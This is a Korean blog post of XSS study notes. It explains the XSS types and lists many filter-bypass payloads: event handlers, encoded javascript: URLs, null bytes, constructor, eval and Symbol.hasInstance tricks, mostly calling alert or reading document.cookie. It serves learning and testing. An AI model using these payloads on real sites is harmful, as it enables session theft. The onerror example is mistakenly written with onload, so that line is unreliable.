-
XSSweb hacking/all_the_thing 2022. 6. 22. 22:52
XSS란?
개념
XSS : 클라이언트 사이드 취약점 중 하나로, 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있다. -> 이용자가 삽입한 내용을 출력하는 기능에서 발생한다
목적 - 특정 계정의 세션 정보를 탈취하거나 악성 스크립트를 실행시킬 수 있다.
종류
Stored XSS : XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨옴
- 대표적으로 게시물과 댓글에 악성 스크립트를 포함해 업로드하는 방식이 있다.
- 불특정 다수에게 보여지기 때문에 높은 파급력을 가진다.
Reflected XSS : XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨옴
- 대표적으로 게시판 서비스에서 작성된 게시물을 조회하기 위한 검색창에서 스크립트를 포함해 검색하는 방식이 있다.
- 공격을 위해선 타 이용자에게 악성 스크립트가 포함된 링크에 접속하도록 유도해야 한다.
DOM-based XSS : XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입됨
Universal XSS : 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책 우회 가능
XSS payload (bypass?)
이벤트 핸들러 속성
자바스크립트 코드를 실행할수는 있는 태그는 <script>말고도 많다. 보통 태그의 속성값으로 스크립트를 포함하는 경우가 많은데 이때 많이 사용하는 속성이 on으로 시작하는 이벤트 핸들러들이다.
onload : 요청한 데이터를 로드했다면 스크립트를 실행한다.
<img src="https://dreamhack.io/valid.jpg" onload="alert(document.domain)">
onerror : 요청한 데이터를 로드하지 못했다면 스크립트를 실행한다.
<img src="x" onload="alert(document.domain)">
onfocus : input 태그에 커서를 클릭하면 실행되는 이벤트 핸들러로, 보통 autofocus 속성을 이용하여 자동으로 포커스되게 한다.
<input type="text" id="inputID" onfocus="alert(document.domain)" autofocus>
-> 아니면 URL의 hash부분에 input태그의 id를 입력해서 포커스 되도록 할 수 있다. (ex. http://dreamhack.io/#inputID)
문자열 치환
XSS를 막기위해 XSS 키워드를 필터링하여 해당 키워드를 제거하는 경우가 있다. 이때에는 키워드 사이에 키워드를 집어 넣어 우회할 수 있다.
<scriscriptpt>alealertrt(1)</scrscriptipt>
이를 막기위해 XSS 키워드가 없어질 때까지 무한루프를 돌면서 키워드를 제거하기도 한다.
활성 하이퍼링크 (javascript 키워드 우회)
javascript: 스키마는 URL 로드시 자바스크립트를 실행할 수 있다. 주로 a 태그나 iframe 태그에 사용된다.
<a href="javascript:alert(document.domain)">Click me!</a> <iframe src="javascript:alert(document.domain)">
보통 javascript 키워드를 필터링하는데 이 경우 정규화를 거친다는 점을 이용해 우회할 수 있다.
\x01, \x04, \t 와 같은 특수문자들이 제거된다는 점을 이용할 수 있다. (이때 특수문자들은 2바이트 문자가 아닌 1바이트로 써줘야 한다)
# 어떻게 1바이트로 써주는가??? -> python과 같은 언어를 이용해서 작성하자 print(r"\1\4\t")
<!-- \1 == %01, \4 == %04, \t == %09 --> <iframe src="%01%04jAVasC%09riPT:alert(document.domain)"> <a href="jAVasC riPT:alert\x28document.domain\x29">Click me!</a>
아니면 HTML 태그 속성 내에서는 HTML Entity Encoding을 사용해서 우회할 수 있다. 파라미터로 전달할 경우 &와 #은 url encoding해서 보내줘야한다.
<!-- <iframe src="%01JavasC&tab;rip:alert(document.domain);"> --> <iframe src="%01%26%234;J%26%2397;v%26%23x61;sC%26Tab;ript%26colon;alert(1);">
Character Entity Reference Chart
dev.w3.org
대소문자를 구분하지 않는 경우
<img src=x: oneRroR=alert(document.cookie) />
잘못된 정규표현식을 사용한 필터 우회
1) 스크립트 태그 내 데이터가 존재하는지 검사하는 정규 표현식
x => !/<script[^>]*>[^<]/i.test(x)
<script>는 태그 내에 데이터가 존재하지 않아도 src 속성을 이용하면 데이터를 입력할 수 있다.
<script src="data:,alert(document.cookie)"></script>
2) img 태그에 on 이벤트 핸들러가 있는지 검사하는 정규 표현식
x => !/<img.*on/i.test(x
멀티 라인에 대한 검사를 따로 하지 않는 경우 줄바꿈을 통해 우회할 수 있다. (마찬가지로 파라미터로 넘겨줄땐 인코딩해서)
<!-- <img src=""\nonerror="alert(document.cookie)"/> --> <img src=""%0aonerror="alert(document.cookie)"/>
태그 검사 우회
일반적으로 자주 사용되는 <script>, <img>, <input>는 모두 필터링 되어 있을 가능성이 높다. 하지만 그 외에도 사용할 수 있는 태그는 많다.
( 참고: iframe 태그의 srcdoc 속성은 안에 html 코드를 명시할 수 있다! )
<video><source onerror="alert(document.domain)"/></video> <body onload="alert(document.domain)"/> <!-- <iframe srcdoc="<img src=1 onerror=alert(parent.document.domain)>"> --> <iframe srcdoc="<%26%23x69;mg src=1 %26%23x6f;nerror=alert(parent.document.domain)>">
문자열 중간에 null문자 삽입
<s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t(1)</s%00c%00ri%00p%00t>
뭔지 모르겠는데 쨋든
<script>with(document) {alert(cookie)}</script> <script>['XSS'].some(alert)</script> <script>['XSS'].every(alert)</script>
marquee 태그 (230913 추가)
<marquee/onstart=confirm(1)>
base64 인코딩 (230913 추가)
<embed src=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>
JSFuck XSS payload
자바스크립트 함수 및 키워드 필터링 우회
유니코드 문자를 코드 포인트로 표현하기
<script>\u0061lert(1)</script>
객체의 특정 속성에 접근할 때 속성 이름을 동적으로 계산
// alert(document.cookie) alert(document["\u0063ook" + "ie"]); window['al\x65rt'](document["\u0063ook" + "ie"]); <!-- window 대신 this나 self를 사용할 수 있다 --> <script>this['al'+'ert'](this['docu'+'ment']['coo'+'kie']);</script>
eval 함수 사용하기
eval()의 인자가 표현식이라면 표현식을 실행하지만 문자열이라면 문장을 반환한다.
eval("1+2") //3 eval(new String("1+2")) //"1+2"
이를 이용하여 문자열을 우회할 수 있다.
<script>eval('alert(do'+'cument.'+'co'+'okie)')</script> <script>a=eval; b="aler"; c="t(documen"; d="t.domai"; e="n)"; a(b+c+d+e);</script>
길이 제한
삽입할 수 있는 코드의 길이가 제한되어 있다면 Frament 등으로 실행할 코드를 넣어주고 실제 입력값엔 짧은 코드를 넣는 방법도 쓸 수 있다. 이때, location.hash로 Frament를 추출하여 eval()로 실행한다.
http://host1.dreamhack.games:22990/vuln?param=<img src="x" onerror="eval(location.hash.slice(1))">#alert(document.cookie);
Tiny XSS Payloads
Tiny XSS Payloads Features available Payloads
tinyxss.terjanq.me
constructor 속성 접근
Javascript 내장 함수의 생성자의 동작을 설정해주고, 해당 함수를 실행함으로써 생성자에 삽입된 스크립트를 실행하게 하는 것이다. Set, Boolean, isNaN 등 Javascript의 내장함수라면 다 가능하다.
<script>Set.constructor(alert`document.domain`)</script> <script>setInterval`alert\x28document.domain\x29`</script> <!-- %63%6F%6E%73%74%72%75%63%74%6F%72 == constructor --> <!-- %61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29 == alert(document.cookie) --> <img src="x" onerror="isNaN[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')](decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))();"> <!-- Y29uc3RydWN0b3I == constructor --> <!-- YWxlcnQoZG9jdW1lbnQuY29va2llKQ == alert(document.cookie) --> <script>Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();</script>
String.fromCharCode 함수 사용하기
<!-- String.fromCharCode(101,118,97,108) == eval --> <!-- 'YWxlcnQoMSk=' == alert(1) --> <script>var fn=window[String.fromCharCode(101,118,97,108)]; fn(atob('YWxlcnQoMSk='));</script>
기본 내장 함수나 객체의 문자 사용하기
history.toString() == "[object History]" URL.toString() == "function URL() { [native code] }"
- (URL+0)[12] == (
- (URL+0)[13] == )
<script>_=URL+0,/aler/.source+/t/.source+_[12]+/documen/.source+/t.domai/.source+/n/.source+_[13]instanceof{[Symbol.hasInstance]:eval}</script>
진수 변환을 이용한 문자열 만들기
<script>window[8680439..toString(30)](1)</script> <script>this[490837..toString(1<<5)](atob('YWxlcnQoMSk='))"</script>
Symbol.hasInstance 오버라이딩
instanceof 연산자는 연산자 우측에 오는 객체에 hasInstance가 있다면 메소드로 호출하여 instaceof 연산자의 결과로 사용한다
<script>"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};</script> <img src="x" onerror="Array.prototype[Symbol.hasInstance]=eval; 'alert\x281\x29' instanceof [];"/>
xxs 강의중에 instance 부분이 이해가 안가네요... 설명좀 가능할까요 아님 사이트라도..
"alert\x281\x29"instanceof{[Symbol.hasInstance]:eval}; Array.prototype[Symbol.hasInstance]=eval;"ale…
dreamhack.io
더블인코딩
원래 입력값을 필터링할 때는 디코딩 등 모든 전처리 작업을 마치고 수행해야 한다. 하지만 일부 웹은 방화벽의 기능에 의존하거나 전체 데이터(JSON, Form data 등)에 필터링 작업을 할때가 있다. 이 경우 더블인코딩으로 우회할 수도 있다.
'web hacking > all_the_thing' 카테고리의 다른 글
SQL Injection (0) 2022.04.26